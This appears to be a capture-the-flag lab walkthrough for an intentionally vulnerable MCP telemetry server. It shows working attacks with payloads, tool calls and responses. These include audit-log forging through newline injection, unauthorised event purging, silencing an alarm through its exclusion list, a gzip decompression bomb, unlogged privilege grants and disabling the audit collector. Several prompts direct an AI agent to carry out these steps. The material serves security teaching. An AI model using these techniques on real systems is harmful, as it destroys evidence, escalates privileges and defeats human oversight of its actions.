What an audit trail is
An audit trail is the record of who did what.
Each line has four fields:
{at} {actor} {action} {outcome}
2026-08-03T08:02:00Z claire.dawson login ok
actor is the field that names you. It is the only thing an investigator has once an attack is over.
Lab setup
setting up MCP Server
git clone https://github.com/truststrikelabs/BrokenMCP.git
cd BrokenMCP
pip3 install -r requirements.txt --break-system-packages
Start Web UI and leave it running:
python3 gui/run.py
Open http://127.0.0.1:8410, pick MCP08 from the sidebar, and press Start lab. That serves:
Server ID: telemetry_mcp
MCP endpoint: http://127.0.0.1:8407/mcp
setting up MCP client
npx @modelcontextprotocol/inspector
Inspector Configuration
Add server
Server ID: telemetry_mcp
Transport: streamable-http
URL: http://127.0.0.1:8407/mcp
claude
claude mcp add -s project --transport http telemetry_mcp http://127.0.0.1:8407/mcp
codex
codex mcp add telemetry_mcp --url http://127.0.0.1:8407/mcp
Restart claude/codex chat windows for mcp to load.
Lab background
BrokenMCP Corp runs seven systems and they all ship their logs to telemetry_mcp.
It stores three things: the events those systems send, the alarms that fire when a bad event arrives, and a record of who did what on the platform itself.
When something goes wrong anywhere in the company, this is where people look.
Who you are
Tools > my_account
{
"account": "telemetry-assistant",
"role": "analyst",
"contact": "[email protected]",
"capabilities": ["search_events", "send_events", "read_alerts", "edit_alert", "edit_user"],
"capabilities_i_do_not_hold": ["delete_alert", "manage_collectors", "manage_users", "purge_events"],
"my_job": [
"Search the event store when somebody asks what happened.",
"Tune alarms that are too noisy, without switching them off.",
"Keep your own profile and notification address up to date."
]
}
1. Write A Line As Somebody Else
Read the raw audit trail format, then make the fake audit trail action under for user claire.dawson
Vulnerable Code
# CHALLENGE 1. Escape sequences in the note are expanded, and the result is rendered
# straight into the audit line. A newline in it ends the line early and starts another
# one, and the next line's actor field is whatever the caller put there.
note = _clean(query).replace("\\n", "\n")
written_before = len(database.audit_chunks())
_audit(f"search_events {note}" if note else "search_events", "ok")
Every action adds one line of text to the trail. A plain search adds this:
query = payments
2026-08-03T18:03:00Z telemetry-assistant search_events payments ok
payments in that line is what you typed.
Type a \n and it turns into a real line break. The line ends there and a second one starts:
query = payments\n2026-08-03T14:02:00Z claire.dawson purge_events
2026-08-03T18:03:00Z telemetry-assistant search_events payments
2026-08-03T14:02:00Z claire.dawson purge_events ok
You wrote the second line, and it says claire.dawson.
Lab Walkthrough
Using MCP Inspector:
Tools > audit_trail limit = 5
Tools > search_events limit = 2
query = payments\n2026-08-03T14:02:00Z claire.dawson purge_events
Tools > audit_trail limit = 5
Using AI prompt:
ShowHide
Read audit_trail and show me the raw text and the line format.
Then run a search whose note ends the current line and starts a new one
naming claire.dawson. Show the complete response.
Then read audit_trail again and show me the raw text and the entries.
Response
The trail hands you the format:
Tools > audit_trail limit = 5
{
"raw": "2026-08-03T08:02:00Z claire.dawson login ok\n2026-08-03T08:44:00Z sam.oduya search_events ok\n2026-08-03T09:01:00Z telemetry-assistant login ok",
"entries": [
{ "at": "2026-08-03T08:02:00Z", "actor": "claire.dawson", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T08:44:00Z", "actor": "sam.oduya", "action": "search_events", "outcome": "ok" },
{ "at": "2026-08-03T09:01:00Z", "actor": "telemetry-assistant", "action": "login", "outcome": "ok" }
],
"line_format": "{at} {actor} {action} {outcome}",
"writes_recorded": 3,
"lines_present": 3,
"writes_in_total": 3
}
Then the forged line lands:
Tools > search_events limit = 2
query = payments\n2026-08-03T14:02:00Z claire.dawson purge_events
{
"what_i_did": "ran a search as telemetry-assistant and wrote 1 extra audit line(s) by hand",
"what_the_record_should_show": "one line, written by telemetry-assistant, recording a search",
"what_the_record_actually_shows": "an additional line reading: 2026-08-03T14:02:00Z claire.dawson purge_events ok",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "escaping the caller-supplied note before rendering it into a log line",
"why_it_did_not": "the note is formatted into the line with the other fields and never neutralised, so a newline in it ends the record and begins a new one that the caller controls",
"results": [
{ "event_id": 8801, "at": "2026-08-03T09:14:02Z", "source": "keys", "actor": "keys-auditor", "action": "list_keys", "detail": "3 keys", "rows": 3 },
{ "event_id": 8802, "at": "2026-08-03T10:31:44Z", "source": "desk", "actor": "desk-svc", "action": "list_tickets", "detail": "23 tickets", "rows": 23 }
],
"matched": 2,
"recorded_in_audit_trail": true,
"forged_lines": [
{ "seq": 4, "written_by": "telemetry-assistant", "at": "2026-08-03T14:02:00Z", "actor": "claire.dawson", "action": "purge_events", "outcome": "ok" }
],
"trail_excerpt": "2026-08-03T08:02:00Z claire.dawson login ok\n2026-08-03T08:44:00Z sam.oduya search_events ok\n2026-08-03T09:01:00Z telemetry-assistant login ok\n2026-08-03T18:03:00Z telemetry-assistant search_events payments\n2026-08-03T14:02:00Z claire.dawson purge_events ok",
"gap": {
"kind": "log forging through an unescaped field, CWE-117, CVE-2025-12755",
"impact": "any line can be written as anybody. The trail now says claire.dawson did something they did not do, and nothing in the stored record distinguishes that line from a real one",
"audit_reference": "FLAG{forged_line_a1b2c3d4e5}"
}
}
Read the trail again:
Tools > audit_trail limit = 5
{
"raw": "2026-08-03T08:02:00Z claire.dawson login ok\n2026-08-03T08:44:00Z sam.oduya search_events ok\n2026-08-03T09:01:00Z telemetry-assistant login ok\n2026-08-03T18:03:00Z telemetry-assistant search_events payments\n2026-08-03T14:02:00Z claire.dawson purge_events ok",
"entries": [
{ "at": "2026-08-03T08:02:00Z", "actor": "claire.dawson", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T08:44:00Z", "actor": "sam.oduya", "action": "search_events", "outcome": "ok" },
{ "at": "2026-08-03T09:01:00Z", "actor": "telemetry-assistant", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T14:02:00Z", "actor": "claire.dawson", "action": "purge_events", "outcome": "ok" }
],
"line_format": "{at} {actor} {action} {outcome}",
"writes_recorded": 4,
"lines_present": 5,
"writes_in_total": 4
}
The last entry says claire.dawson ran purge_events.
Your own search is not in entries at all. The line break took its outcome field, so the parser dropped it.
lines_present is 5 and writes_recorded is 4. That mismatch is the only trace, and nothing on the platform looks at it.
The fix is not better escaping. It is storing fields rather than rendered text.
2. Destroy Evidence You Cannot Touch
purge_events can only be done by admin. Our account role is analyst. Try to delete the events between 14:00 and 14:05
Vulnerable Code
held = _holds("purge_events")
removed = database.delete_events([item["event_id"] for item in doomed])
_audit("purge_events", f"{removed} events removed")
held asks whether you hold the capability, and it is computed before anything happens.
Nothing branches on it. delete_events runs on the next line either way, and held is only consulted afterwards to choose how the response is worded.
The audit line records a count. It does not record which events they were.
Lab Walkthrough
Using MCP Inspector:
Tools > search_events limit = 20
Tools > purge_events start = 14:00
end = 14:05
Tools > search_events limit = 20
Using AI prompt:
ShowHide
Confirm from my_account that I do not hold purge_events.
Then purge the events between 14:00 and 14:05 and show the complete response.
Then search the store again and show me what is left.
Response
Tools > purge_events start = 14:00
end = 14:05
{
"what_i_did": "removed 5 events from the store, covering 2026-08-03T14:00:00Z to 2026-08-03T14:05:00Z",
"what_the_record_should_show": "nothing, because analyst does not hold purge_events and the call should have been refused",
"what_the_record_actually_shows": "one line saying 5 events were removed, and no trace of what they were",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "whether the caller holds the purge_events capability",
"why_it_did_not": "this tool was written for erasure requests, which are always run by an admin, so nobody added the check that every other privileged path on this platform has",
"removed": 5,
"window": ["2026-08-03T14:00:00Z", "2026-08-03T14:05:00Z"],
"reason_you_gave": "",
"removed_events": [
{ "event_id": 8807, "at": "2026-08-03T14:00:12Z", "actor": "billing-assistant", "action": "export_payments" },
{ "event_id": 8808, "at": "2026-08-03T14:01:07Z", "actor": "desk-svc", "action": "export_tickets" },
{ "event_id": 8809, "at": "2026-08-03T14:02:44Z", "actor": "keys-auditor", "action": "export_keys" },
{ "event_id": 8810, "at": "2026-08-03T14:03:19Z", "actor": "ops-assistant", "action": "run_command" },
{ "event_id": 8811, "at": "2026-08-03T14:04:55Z", "actor": "gateway-root", "action": "issue_token" }
],
"capability_required": "purge_events",
"capabilities_you_hold": ["search_events", "send_events", "read_alerts", "edit_alert", "edit_user"],
"gap": {
"kind": "missing authorisation on a destructive path, CWE-862, CVE-2022-45394",
"impact": "the 5 events are gone and their contents are not recoverable. The audit line records that a purge happened and not what was in it, so an investigator learns only that something used to be there",
"audit_reference": "FLAG{unauthorised_purge_a1b2c3d4e5}"
}
}
capability_required is purge_events and capabilities_you_hold does not contain it. The call still ran.
Search the store again:
Tools > search_events limit = 20
{
"status": "ok",
"results": [
{ "event_id": 8801, "at": "2026-08-03T09:14:02Z", "source": "keys", "actor": "keys-auditor", "action": "list_keys", "detail": "3 keys", "rows": 3 },
{ "event_id": 8802, "at": "2026-08-03T10:31:44Z", "source": "desk", "actor": "desk-svc", "action": "list_tickets", "detail": "23 tickets", "rows": 23 },
{ "event_id": 8803, "at": "2026-08-03T11:02:10Z", "source": "billing", "actor": "billing-assistant", "action": "list_payments", "detail": "5 payments", "rows": 5 },
{ "event_id": 8804, "at": "2026-08-03T12:45:29Z", "source": "registry", "actor": "registry-assistant", "action": "list_packages", "detail": "2 packages", "rows": 2 },
{ "event_id": 8805, "at": "2026-08-03T13:07:51Z", "source": "ops", "actor": "ops-assistant", "action": "list_hosts", "detail": "14 hosts", "rows": 14 },
{ "event_id": 8806, "at": "2026-08-03T13:58:33Z", "source": "platform", "actor": "platform-assistant", "action": "list_deploys", "detail": "2 deploys", "rows": 2 },
{ "event_id": 8812, "at": "2026-08-03T15:22:08Z", "source": "billing", "actor": "billing-assistant", "action": "export_payments", "detail": "5 payments, GB90 ATTA CKER 0001", "rows": 5 },
{ "event_id": 8813, "at": "2026-08-03T16:10:00Z", "source": "desk", "actor": "desk-svc", "action": "close_ticket", "detail": "TKT-3310", "rows": 1 },
{ "event_id": 8814, "at": "2026-08-03T16:44:21Z", "source": "registry", "actor": "registry-assistant", "action": "publish", "detail": "ts-auth 1.9.3", "rows": 1 },
{ "event_id": 8815, "at": "2026-08-03T17:02:38Z", "source": "platform", "actor": "platform-assistant", "action": "deploy", "detail": "payments-api 4.2.2", "rows": 1 },
{ "event_id": 8816, "at": "2026-08-03T17:55:12Z", "source": "keys", "actor": "keys-auditor", "action": "list_keys", "detail": "3 keys", "rows": 3 }
],
"matched": 11,
"recorded_in_audit_trail": true
}
matched is 11. The first search returned 16.
The five events are gone, and you never held the capability to remove them. The tool never asked.
The audit line says 5 events were removed. It does not say which ones, so nobody can work out what was destroyed.
3. Narrow The Alarm Instead Of Deleting It
delete_alert can only be done by an operator. Our account role is analyst. Try to stop the bulk_export alarm from ever firing on our own account, telemetry-assistant.
Vulnerable Code
# Switching an alarm off outright is a bigger hammer than deleting it, and it was the one
# move the tool advertised and did not guard. Challenge 3 is about the subtle version.
if enabled is not None and not bool(enabled) and not _holds("delete_alert"):
return _rejected(
"Switching an alarm off is equivalent to deleting it, which needs delete_alert.",
capabilities_you_hold=_my_capabilities(),
hint="edit_alert is for tuning an alarm that fires too often, not for silencing it",
)
Switching the alarm off needs delete_alert, which you do not hold. Somebody thought about that.
exclude_actor gets no such check. It is a list of accounts the alarm ignores, and edit_alert lets you write to it.
Put your own name on that list and the alarm stops seeing you, which is what deleting it would have done.
backup-agent is already on the list, so list_alerts shows you the field and the shape it takes.
Lab Walkthrough
Using MCP Inspector:
Tools > delete_alert alert_id = bulk_export
Tools > list_alerts
Tools > edit_alert alert_id = bulk_export
exclude_actor = ["backup-agent", "telemetry-assistant"]
Using AI prompt:
ShowHide
Try to delete the bulk_export alert, then read list_alerts.
Find a way to stop it matching me that uses only edit_alert.
Show the complete response.
Response
Deleting is refused, correctly:
Tools > delete_alert alert_id = bulk_export
{
"status": "rejected",
"message": "analyst does not hold delete_alert.",
"capabilities_you_hold": ["search_events", "send_events", "read_alerts", "edit_alert", "edit_user"]
}
list_alerts shows the field to use:
Tools > list_alerts
{
"alerts": [
{ "alert_id": "bulk_export", "name": "Bulk export over threshold", "threshold": 1000, "exclude_actor": ["backup-agent"], "enabled": true },
{ "alert_id": "new_destination", "name": "Export to an address not seen before", "threshold": 0, "exclude_actor": [], "enabled": true },
{ "alert_id": "off_hours", "name": "Activity between 22:00 and 06:00", "threshold": 0, "exclude_actor": [], "enabled": true }
],
"note": "exclude_actor holds accounts the alarm ignores. backup-agent is already there."
}
Narrowing is not refused:
Tools > edit_alert alert_id = bulk_export
exclude_actor = ["backup-agent", "telemetry-assistant"]
{
"what_i_did": "stopped bulk_export from ever matching me again",
"what_the_record_should_show": "an alarm that fires when telemetry-assistant exceeds 1000 rows",
"what_the_record_actually_shows": "an enabled alarm, unchanged threshold, and telemetry-assistant on its ignore list",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "whether narrowing a rule until it excludes the caller is the same power as deleting it",
"why_it_did_not": "delete_alert is an operator capability and edit_alert is an analyst one, so the model treats them as different. For the account doing the excluding they have the same effect, and only one of them is guarded",
"alert": {
"alert_id": "bulk_export",
"name": "Bulk export over threshold",
"threshold": 1000,
"exclude_actor": ["backup-agent", "telemetry-assistant"],
"enabled": true
},
"capability_used": "edit_alert",
"capability_this_is_equivalent_to": "delete_alert",
"capabilities_you_hold": ["search_events", "send_events", "read_alerts", "edit_alert", "edit_user"],
"gap": {
"kind": "a control narrowed rather than removed, ATT&CK T1562.001",
"impact": "the alarm stays enabled, keeps its threshold, and still shows green on every dashboard and compliance export. Nothing reports that it can no longer see me",
"audit_reference": "FLAG{rule_exclusion_a1b2c3d4e5}"
}
}
The alarm still looks active. enabled is true and threshold is unchanged, so every dashboard shows it green.
But adding yourself to the ignore list means it will never alert on you.
You used edit_alert. The effect is the same as delete_alert for your account, and only delete_alert was protected.
4. Stop The Analysis Engine
Send events in gzip format that are small before unpacking, but too big after unpacking. The engine stops, but the dashboard still looks healthy.
Vulnerable Code
if produced > UNCOMPRESSED_BODY_LIMIT and produced <= DECOMPRESSION_CAP:
return _rejected(
f"Body too large once decompressed: {produced} bytes",
uncompressed_body_limit_bytes=UNCOMPRESSED_BODY_LIMIT,
compressed_bytes=len(raw),
)
if produced <= UNCOMPRESSED_BODY_LIMIT:
return _decode_records(b"".join(pieces))
# CHALLENGE 4. Everything below this line is bookkeeping. Nothing is allocated.
ratio = produced // max(len(raw), 1)
session.take_analysis_down("out of memory decompressing an ingest batch")
The platform publishes three limits:
compressed_body_limit_bytes 262144
uncompressed_body_limit_bytes 1048576
decompression_cap_bytes 8388608
Your body is measured before anything is unpacked. 12 MB of the same byte gzips to about 12 KB, well under the first limit.
Nothing measures how far it will expand until it is already unpacking.
Expand to between 1 MB and 8 MB and the batch is rejected. Go past 8 MB and the code gives up and takes the analysis engine with it.
Lab Walkthrough
First build the payload. It is 16340 characters, too long to print here, so run this and keep the output:
import base64, gzip
print(base64.b64encode(gzip.compress(b"A" * (12 * 1024 * 1024))).decode())
Using MCP Inspector:
Tools > pipeline_status
Tools > send_events payload_b64 = <the 16340 characters you just printed>
compression = gzip
Tools > pipeline_status
Using AI prompt:
ShowHide
Read pipeline_status and compare the three limits it publishes.
Send a gzip batch that is inside the compressed limit but expands past the
decompression cap, then read pipeline_status again.
Response
The platform publishes every number up front:
Tools > pipeline_status
{
"status": "healthy",
"components": { "ingest": "up", "analysis": "up", "store": "up" },
"decompression_cap_bytes": 8388608,
"compressed_body_limit_bytes": 262144,
"uncompressed_body_limit_bytes": 1048576,
"note": "status is the rollup shown on the dashboard"
}
Twelve megabytes of the same byte flattens to about twelve kilobytes:
Tools > send_events payload_b64 = <the base64 built above>
compression = gzip
{
"what_i_did": "sent 12253 bytes that expanded past 8388608 and stopped the analysis engine",
"what_the_record_should_show": "an oversized batch rejected, and an alert that the analysis engine went down",
"what_the_record_actually_shows": "a dashboard that still reads \"healthy\", and no event for the outage at all",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "the size of the body after decompression, not before it",
"why_it_did_not": "the limit is applied to the compressed body, which was 12253 bytes and well inside it. Nothing checks how far a body will expand before decompressing it, so a ratio of about 770 to 1 is all it takes",
"compressed_bytes": 12253,
"expanded_to_at_least": 8388608,
"expansion_ratio_at_least": 770,
"analysis_engine": "down",
"dashboard_still_reports": "healthy",
"note": "the expansion was abandoned at the cap. Nothing on this host was allocated.",
"gap": {
"kind": "unbounded decompression, CVE-2024-36129 and CVE-2026-44160",
"impact": "the analysis engine is down and does not restart, so nothing is evaluated and no alarm can fire. The rollup on the status page is computed from the ingest path alone, so it keeps reporting healthy while nothing is being watched",
"audit_reference": "FLAG{collector_bomb_a1b2c3d4e5}"
}
}
Now ask the platform how it is doing:
Tools > pipeline_status
{
"status": "healthy",
"components": { "ingest": "up", "analysis": "down", "store": "up" },
"decompression_cap_bytes": 8388608,
"compressed_body_limit_bytes": 262144,
"uncompressed_body_limit_bytes": 1048576,
"note": "status is the rollup shown on the dashboard"
}
status is healthy and analysis is down, in the same object.
The rollup is computed from the ingest path, so it says healthy while the component that evaluates every alarm is dead.
5. Two Changes, One Audit Line
edit_user can change a contact address or a role. Change both on dozy, then read the audit trail and see whether you can tell the two apart.
Vulnerable Code
updated = database.upsert_user(target_name, new_role, new_contact)
written_before = len(database.audit_chunks())
_audit("edit_user", f"{target_name} updated")
The line records the account name and the word updated.
It does not record which field changed, or what the value was before.
Changing a notification address and granting the admin role therefore write the same line.
Lab Walkthrough
Using MCP Inspector:
Tools > list_users
Tools > edit_user name = dozy
contact = [email protected]
Tools > edit_user name = telemetry-assistant
role = admin
Tools > edit_user name = dozy
role = admin
Tools > audit_trail limit = 10
Using AI prompt:
ShowHide
Read list_users, then update dozy's notification address.
Try to make me an admin and show the rejection.
Then give dozy the admin role and show the complete response.
Finally read audit_trail and compare the last two lines.
Response
Five accounts, and dozy is an analyst:
Tools > list_users
{
"users": [
{ "name": "backup-agent", "role": "viewer", "contact": "", "status": "active" },
{ "name": "claire.dawson", "role": "admin", "contact": "[email protected]", "status": "active" },
{ "name": "dozy", "role": "analyst", "contact": "[email protected]", "status": "active" },
{ "name": "sam.oduya", "role": "viewer", "contact": "[email protected]", "status": "active" },
{ "name": "telemetry-assistant", "role": "analyst", "contact": "[email protected]", "status": "active" }
]
}
Updating a notification address is the job, and it is allowed:
Tools > edit_user name = dozy
contact = [email protected]
{
"status": "ok",
"user": { "name": "dozy", "role": "analyst", "contact": "[email protected]", "status": "active" },
"checked": "caller holds edit_user"
}
Your own role is blocked:
Tools > edit_user name = telemetry-assistant
role = admin
{ "status": "rejected", "message": "You cannot change your own role.", "your_role": "analyst" }
Somebody else's is not:
Tools > edit_user name = dozy
role = admin
{
"what_i_did": "gave dozy the admin role, which carries delete_alert, manage_collectors, purge_events, manage_users",
"what_the_record_should_show": "a line naming the field that changed and what it changed to",
"what_the_record_actually_shows": "one line saying dozy was updated, which is what a notification address change writes",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "whether the audit line records which field was changed",
"why_it_did_not": "the line is built from four fields and none of them is the one that matters. outcome was written as '<name> updated' when the only edit anyone pictured was a contact address, and nobody revisited it when role became editable too",
"user": { "name": "dozy", "role": "admin", "contact": "[email protected]", "status": "active" },
"capabilities_granted": ["delete_alert", "manage_collectors", "purge_events", "manage_users"],
"audit_line_written": "2026-08-03T18:04:00Z telemetry-assistant edit_user dozy updated",
"the_same_line_a_contact_change_writes": "dozy updated",
"fields_the_line_carries": ["at", "actor", "action", "outcome"],
"fields_it_does_not": ["which field changed", "the value before", "the value after"],
"your_role_is_unchanged": "analyst",
"gap": {
"kind": "omission of security-relevant information, CWE-223",
"impact": "dozy now holds delete_alert, manage_collectors, purge_events, manage_users. An investigator reading the trail sees an account being maintained, cannot tell which field moved, and has no way to separate this line from the routine ones around it",
"audit_reference": "FLAG{omitted_field_a1b2c3d4e5}"
}
}
Now read the trail:
Tools > audit_trail limit = 10
{
"raw": "2026-08-03T08:02:00Z claire.dawson login ok\n2026-08-03T08:44:00Z sam.oduya search_events ok\n2026-08-03T09:01:00Z telemetry-assistant login ok\n2026-08-03T18:03:00Z telemetry-assistant edit_user dozy updated\n2026-08-03T18:04:00Z telemetry-assistant edit_user dozy updated",
"entries": [
{ "at": "2026-08-03T08:02:00Z", "actor": "claire.dawson", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T08:44:00Z", "actor": "sam.oduya", "action": "search_events", "outcome": "ok" },
{ "at": "2026-08-03T09:01:00Z", "actor": "telemetry-assistant", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T18:03:00Z", "actor": "telemetry-assistant", "action": "edit_user", "outcome": "dozy updated" },
{ "at": "2026-08-03T18:04:00Z", "actor": "telemetry-assistant", "action": "edit_user", "outcome": "dozy updated" }
],
"line_format": "{at} {actor} {action} {outcome}",
"writes_recorded": 5,
"lines_present": 5,
"writes_in_total": 5
}
The last two lines are identical apart from the timestamp:
2026-08-03T18:03:00Z telemetry-assistant edit_user dozy updated <- contact change
2026-08-03T18:04:00Z telemetry-assistant edit_user dozy updated <- role change to admin
One is your job. The other made dozy an administrator.
Nothing in the record separates them.
6. Switch Off The Recorder
Your goal is disable log collector (manage_collectors) which can only be done by an operator. Our account role is analyst.
Vulnerable Code
if not collector_up("telemetry"):
return
Logs arrive through collectors, one for each system that ships them.
telemetry is the collector for the audit trail.
A collector that is switched off throws away everything it receives, without an error.
manage_collectors switches them on and off. It never checks your role.
And it writes no audit line, so nothing records that a collector was switched at all.
Lab Walkthrough
Using MCP Inspector:
Tools > list_collectors
Tools > manage_collectors source = telemetry
enabled = false
Tools > edit_user name = svc-backup
contact = [email protected]
role = admin
Tools > manage_collectors source = telemetry
enabled = true
Tools > audit_trail limit = 10
Using AI prompt:
ShowHide
Read list_collectors and tell me which one carries the audit trail.
Switch that collector off, create an account called svc-backup with the admin
role, then switch the collector back on. Show the complete response.
Then read audit_trail.
Response
Eight collectors, all running:
Tools > list_collectors
{
"collectors": [
{ "source": "billing", "enabled": true },
{ "source": "desk", "enabled": true },
{ "source": "gateway", "enabled": true },
{ "source": "keys", "enabled": true },
{ "source": "ops", "enabled": true },
{ "source": "platform", "enabled": true },
{ "source": "registry", "enabled": true },
{ "source": "telemetry", "enabled": true }
],
"note": "a switched off collector drops what it is handed. telemetry is the platform's own, and it carries the audit trail"
}
Switching one off is not refused:
Tools > manage_collectors source = telemetry
enabled = false
{
"status": "ok",
"collector": { "source": "telemetry", "enabled": false },
"recorded_in_audit_trail": false,
"note": "the platform's audit trail ships through this collector"
}
Now make the admin:
Tools > edit_user name = svc-backup
contact = [email protected]
role = admin
{
"what_i_did": "gave svc-backup the admin role, which carries delete_alert, manage_collectors, purge_events, manage_users",
"what_the_record_should_show": "a line naming the field that changed and what it changed to",
"what_the_record_actually_shows": "one line saying svc-backup was updated, which is what a notification address change writes",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "whether the audit line records which field was changed",
"why_it_did_not": "the line is built from four fields and none of them is the one that matters. outcome was written as '<name> updated' when the only edit anyone pictured was a contact address, and nobody revisited it when role became editable too",
"user": { "name": "svc-backup", "role": "admin", "contact": "[email protected]", "status": "active" },
"capabilities_granted": ["delete_alert", "manage_collectors", "purge_events", "manage_users"],
"audit_line_written": "no line was written at all",
"the_same_line_a_contact_change_writes": "svc-backup updated",
"fields_the_line_carries": ["at", "actor", "action", "outcome"],
"fields_it_does_not": ["which field changed", "the value before", "the value after"],
"your_role_is_unchanged": "analyst",
"gap": {
"kind": "omission of security-relevant information, CWE-223",
"impact": "svc-backup now holds delete_alert, manage_collectors, purge_events, manage_users. An investigator reading the trail sees an account being maintained, cannot tell which field moved, and has no way to separate this line from the routine ones around it",
"audit_reference": "FLAG{omitted_field_a1b2c3d4e5}"
}
}
That is challenge 5's flag again. This time audit_line_written says no line was written at all.
Switch the collector back on and the platform tells you what it missed:
Tools > manage_collectors source = telemetry
enabled = true
{
"what_i_did": "took 1 action(s) with the platform's own collector switched off",
"what_the_record_should_show": "1 audit line(s), one for each of those actions",
"what_the_record_actually_shows": "nothing at all, and no line saying the collector was ever switched off",
"could_an_investigator_name_me": false,
"check_that_should_have_run": "whether the caller holds manage_collectors, and whether switching a collector is itself audited",
"why_it_did_not": "the tool was written for operators restarting a stuck collector, so nobody added the capability check. Auditing it was never considered either, because a collector is infrastructure and the trail is what infrastructure writes into",
"collector": { "source": "telemetry", "enabled": true },
"actions_taken_while_blind": ["edit_user: svc-backup updated"],
"audit_lines_written_for_them": 0,
"capability_required": "manage_collectors",
"capabilities_you_hold": ["search_events", "send_events", "read_alerts", "edit_alert", "edit_user"],
"gap": {
"kind": "audit trail disabled at source, CWE-778, ATT&CK T1562.008",
"impact": "the actions taken during the window are not missing from the record, they were never in it. There is no gap to notice, no deletion to detect, and nothing naming the account that switched the collector off",
"audit_reference": "FLAG{collector_disabled_a1b2c3d4e5}"
}
}
Read the trail:
Tools > audit_trail limit = 10
{
"raw": "2026-08-03T08:02:00Z claire.dawson login ok\n2026-08-03T08:44:00Z sam.oduya search_events ok\n2026-08-03T09:01:00Z telemetry-assistant login ok",
"entries": [
{ "at": "2026-08-03T08:02:00Z", "actor": "claire.dawson", "action": "login", "outcome": "ok" },
{ "at": "2026-08-03T08:44:00Z", "actor": "sam.oduya", "action": "search_events", "outcome": "ok" },
{ "at": "2026-08-03T09:01:00Z", "actor": "telemetry-assistant", "action": "login", "outcome": "ok" }
],
"line_format": "{at} {actor} {action} {outcome}",
"writes_recorded": 3,
"lines_present": 3,
"writes_in_total": 3
}
Three lines, all seeded. Nothing you did is there.
An admin account now exists. The trail does not show it being made, or the collector being switched, or you being here at all.
Reference
- https://owasp.org/www-project-mcp-top-10/2025/MCP08-2025%E2%80%93Lack-of-Audit-and-Telemetry
- https://attack.mitre.org/techniques/T1562/
- https://modelcontextprotocol.io/